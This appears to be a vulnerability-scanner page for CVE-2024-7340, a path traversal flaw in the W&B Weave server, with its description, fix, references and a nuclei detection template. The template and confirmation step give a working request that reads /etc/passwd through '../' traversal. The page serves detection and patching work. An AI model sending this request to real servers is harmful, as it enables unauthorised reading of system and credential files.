CVE-2024-7340
W&B Weave Server - Remote Arbitrary File Leak
The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.
Impact
Authenticated low-privileged attackers can exploit path traversal to read arbitrary files from the server, potentially accessing sensitive configuration files and credentials to escalate privileges to admin level.
Fix
Update W&B Weave Server to a version that includes the fix from pull request #1657 addressing the path traversal vulnerability.
How to confirm it
Send: GET /__weave/file/tmp/weave/fs/../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "application/octet-stream" and "filename=passwd" AND status 200Run it with nuclei: nuclei -id CVE-2024-7340 -u <target>
The full check
id: CVE-2024-7340
info:
name: W&B Weave Server - Remote Arbitrary File Leak
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.
impact: |
Authenticated low-privileged attackers can exploit path traversal to read arbitrary files from the server, potentially accessing sensitive configuration files and credentials to escalate privileges to admin level.
remediation: |
Update W&B Weave Server to a version that includes the fix from pull request #1657 addressing the path traversal vulnerability.
reference:
- https://github.com/advisories/GHSA-r49h-6qxq-624f
- https://github.com/wandb/weave/pull/1657
- https://research.jfrog.com/vulnerabilities/wandb-weave-server-remote-arbitrary-file-leak-jfsa-2024-001039248/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2024-7340
epss-score: 0.05015
epss-percentile: 0.92318
metadata:
verified: true
max-request: 1
tags: cve,cve2024,lfr,weave,wandb,vuln
http:
- raw:
- |
GET /__weave/file/tmp/weave/fs/../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "application/octet-stream"
- "filename=passwd"
condition: and
- type: status
status:
- 200References
- https://github.com/advisories/GHSA-r49h-6qxq-624f
- https://github.com/wandb/weave/pull/1657
- https://research.jfrog.com/vulnerabilities/wandb-weave-server-remote-arbitrary-file-leak-jfsa-2024-001039248/
Use this check only on systems you are authorised to test. Where the data comes from